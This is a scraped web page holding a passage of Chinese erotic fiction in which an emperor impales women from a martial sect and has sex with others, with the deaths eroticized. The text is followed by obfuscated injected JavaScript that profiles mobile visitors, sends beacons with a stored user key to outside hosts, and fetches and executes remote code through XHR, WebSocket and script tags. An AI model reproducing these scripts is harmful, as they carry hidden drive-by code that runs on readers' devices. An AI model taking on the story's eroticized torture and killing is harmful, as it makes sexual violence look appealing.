    一旁观刑的飘渺宫宫主云清掩月和小长老逍遥仙子玉浮萍还有飘渺宫执事南宫雨夣面面相觑,正跪伏台上承受穿刺之刑的南华月宫月宫宫主流风倾月那本就十分饱满的双峰在胸部的特意弯曲下显得更加坚挺浑圆,极大的突出她那诱人的身段,把跪伏在穿刺台上的流风倾月衬托得格外美丽娇艳。感受到杨坚看着流风倾月的那种火辣辣的目光,云清掩月的心中不由一阵悸动和迷乱。


    流风倾月丰腴白皙的玉体颤栗清晰可见,她在忍受着难言的痛楚,可是她心甘情愿,那望着杨坚的一双妙目满是款款深情。穿刺杆在那窈窕女体里开辟出的一条血肉模糊的通道,依然露在臀外的穿刺杆在杨坚的操纵下匀速向前推进。随着流风倾月那难以自制的剧烈颤栗,犹自带着丝丝血迹的穿刺杆终于从她的樱桃小嘴里缓缓伸出,那染血的锋利尖端标志着又一次穿刺的完美成功。 她那峰峦起伏的曼妙玉体围绕着穿刺杆蠕动颤抖,两条修长雪白的美腿凌空曲伸踢蹬,这香艳诡异的场面充满了致命的诱惑。

    又一次完成穿刺的成就感令杨坚的心情分外的愉悦,将嘴角的血迹轻轻拭去后杨坚含笑捧着流风倾月那如仙似玉的俏脸在额上轻吻了一下:“倾月,朕亲自服侍你坐桩。” 

    流风倾月显然是感动万分,她凤目含泪的用瑶鼻轻“嗯”一声,玉手却作出最热情的回应。她引导着杨坚的手在她那无限美好的玉体上尽情抚摸探寻着,虽然这样更加剧了她身体的痛苦,可她的心中却是快乐无比。杨坚一边吻着流风倾月的腮颊一边握住她一只玉峰温柔地揉握,只觉触手处挺弹饱满细滑非常。他的吻沿着流风倾月的项弯向下移滑过她粉颈,最后吻上了她的玉峰,那颗娇艳猩红的顶上蓓蕾已全然纳入他口中。舌舔唇吸,轻咬细吻,那从未有过的体贴,让初夜饱受杨坚蹂躏的流风倾月感到无比的温馨,甚至连那含着穿刺杆的小嘴里都情不自禁地挤出了几声甜蜜的呻吟。

    趁着流风倾月陶醉在温柔梦乡意乱情迷之际,杨坚将她抱到了宫女们精心布置的坐桩之处。那是一顶绘有贞女穿刺图的白色纱帐,帐中铺着厚厚的毡毯,绵软舒适的地毯正中是一个三尺见方低矮木几,这是供人跪坐之用的。杨坚用单手在那木几上轻轻一拍,这一招他用过多次,只见那紫檀木做的木几上同样出现了一个圆圆的小孔。那小孔很圆,切口也很光滑,大小正好可以插入穿刺杆。当杨坚将依然露在绺云臀外的穿刺杆末端插进木几上的圆孔时终于惊动了流风倾月,她娇媚的白了杨坚一眼,但还是很配合的蜷起她修长的玉腿,方便杨坚行事。 

    片刻后,流风倾月那不着片缕的绝美身体已端端正正的跪坐在木几之上。虽然她口中伸出的穿刺杆和向后仰起的螓首少许破坏了她那端庄的仪容,但如此姿态正是杨坚最为喜爱的,任何一个见识过节妇穿刺殉葬的人儿都会诧异流风倾月此刻的仪姿竟是如此完美。对于被杨坚穿刺的流风倾月来说,现在她还活着的意义只在于让杨坚能尽情的欣赏她在穿刺杆上蠕动、挣扎的凄美表演,至于她那年轻而已美好的生命其实在穿刺开始的时候就已经结束了。因为那根雕琢着琼花的穿刺杆会对流风倾月的娇躯造成太大的伤害,如果没有意外的话功力全失的流风倾月以这样的姿势枯坐直到断气为止的时间不会太久。 


    在流风倾月身旁便是神色萎顿闭目待死已坐桩数日的彩霞剑慕容烟霞和飘渺仙子端木秀芸,此时慕容烟霞和端木秀芸已丝毫不见了那英姿飒爽的侠女风范,只有那微微起伏的胸脯证明她俩还有着微弱的气息。不时有断气的月宫佳丽被抬走,白色纱帐中那仍在苛延残喘的月宫女弟子越来越少了。看来那女官所报非虚,凭借着她驾轻就熟穿刺过诸多美女穿的经验,她已能根据实际情形判断个八九不离十。


    喜新厌旧的杨坚此时的注意力已转移到观刑的飘渺宫宫主云清掩月和小长老逍遥仙子玉浮萍还有飘渺宫执事南宫雨夣身上。云清掩月贵为宫主自然不宜先拨头筹,逍遥仙子玉浮萍有着长老之尊亦不宜染指,身为执事的南宫雨夣便首当其冲落入了杨坚的魔爪。被穿刺杆贯穿娇躯口不能言身不能动的流风倾月还在满心渴望着杨坚能象对待公孙绺云、慕容烟霞和端木秀芸那样最后临幸她一次,目睹此景不禁失落至极气血上涌悲从心来头脑一晕竟昏厥过去。而那杨坚竟浑然不觉,兴冲冲横揽起玉面飞红任其轻薄的雨夣那嫩娇娃的身子直奔南华月宫的宫主流风倾月将自己献身于杨坚的洞房,不用说是采摘其花红去了。云清掩月示意属下众侍女相随而去,流风倾月虽未立死但月宫已灭,飘渺宫自当接过为杨坚侍寝的重任。


    且不谈飘渺宫鸠占鹊巢小长老逍遥仙子玉浮萍终见月宫至宝七炫月韵琴真容得偿所愿,且说云清掩月带来的二十余贴身侍女与那执事南宫雨夣一起与那杨坚胡天黑地足足一日一夜,只落得花红片片,处子之身无一得免之余亦使得杨坚格外尽兴。与月宫女子一样的是,二十余贴身侍女与那执事南宫雨夣被杨坚先后采啜了人家宝贵的处子元阴和辛苦修炼的至纯功力给他延寿续命,却个个欢天喜地心甘情愿。若非杨坚有意暂留她们的性命,她们即时便会被穿刺处死。


    云清掩月顾及身份,又料那杨坚贪婪众美女之秀色,故直到次日正午方与小长老逍遥仙子玉浮萍前去拜见皇帝杨坚圣驾。小长老逍遥仙子玉浮萍抚弄着月宫至宝七炫月韵琴如获至宝爱不释手,若非前去见驾她还真舍不得起身。


    虽日已中天,可那杨坚竟连小衣都没穿,仍在“性”致勃勃的在众美女的香波翘臀中东征西讨寻幽览胜,将前来迎驾的云清掩月和玉浮萍惊得目瞪口呆。那杨坚虽已老迈,可采得月宫上下诸女的处女阴元和精纯功力之后虎威生猛百战不殆,把带来的飘渺宫诸女整的东倒西歪横七竖八,直杀伐的众美女纷纷告饶。那阵阵传来的淫声秽语令云清掩月和玉浮萍脸红如火,羞臊得抬不起头来。


    云清掩月和玉浮萍良久之后才盈盈跪拜玉唇轻启嗔道:“皇上……”那声音婉转渺绕,把杨坚从那温柔乡中唤醒。


    杨坚在自己正快活的时候被人打扰,他的心情自然便是晴转多云。虽见是飘渺宫宫主云清掩月和小长老逍遥仙子玉浮萍前来拜见圣驾,但仍是拉长了脸从鼻孔里哼了一声。


    “启禀皇上,臣妾在前来拜见圣驾的路上看到那用作坐桩之处的纱帐中均已空空如也,想来月宫上下诸女已全然断气储入龙舟冰库冷藏。没想到堂堂南华月宫月宫宫主流风倾月这般功力高深的女中豪杰如此不堪,竟然会在穿刺杆上连一日也没有能坚持下来,这连她的下属都不如呢。”云清掩月的语调虽然柔风细雨,却对那曾经的对头流风倾月未免有些不敬。


    “唔?”那杨坚闻听颇感意外,这流风倾月走的也未免太快了吧?不过杨坚随即便明白了其中的原因。流风倾月给自己准备的是一根雕琢着琼花的穿刺杆,那遍布穿刺杆上的琼花虽然华美精致花朵漂亮艳丽却如刀片般锋利,爱漂亮的代价不仅是自己在穿刺时不得不承受成倍增加的痛苦代价,而且内部脏器也会受到严重损伤。流风倾月虽然穿刺最晚,但她内脏损伤最为严重,再加上内功全失,穿刺后没有得到宠幸在心理上的极度失落,因此她坐桩待死的时间最短也在情理之中了。而彩霞剑慕容烟霞和飘渺仙子端木秀芸以及那些贴身侍女选择的穿刺杆同样是因为雕刻的图案精致而内部脏器损伤严重,因此她们坐桩坚持的时间相对较短也就不足为奇了。


    “非也非也,倾月真不愧为朕之爱妃,知朕欲移驾飘渺宫恐误行程便自行早早断气,真乃贞洁烈女是也,陪葬皇陵之时定将陪侍朕之左右。昨日穿刺倾月之时彩霞剑慕容烟霞和飘渺仙子端木秀芸虽神色萎顿但神智尚存,亦有此心真不枉朕之心意。故,必获朕之善待矣。传旨下去,午后移驾飘渺宫!”杨坚自不会讲出流风倾月提前断气的真正原因,但这一番贴金之言却让云清掩月和玉浮萍感到格外受用。若是南华月宫月宫宫主流风倾月、彩霞剑慕容烟霞和飘渺仙子端木秀芸天上有灵闻听此言,岂不欢喜死才怪。








    龙舟花船一路浩浩荡荡,沐浴着西斜红日那金色的余晖缓缓靠岸。红霞满天,满面羞红的雨夣温香软玉被杨坚抱个满怀,云清掩月和玉浮萍及二十余贴身侍女前呼后拥,飘渺宫已满是一片欢乐的海洋。



  
关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();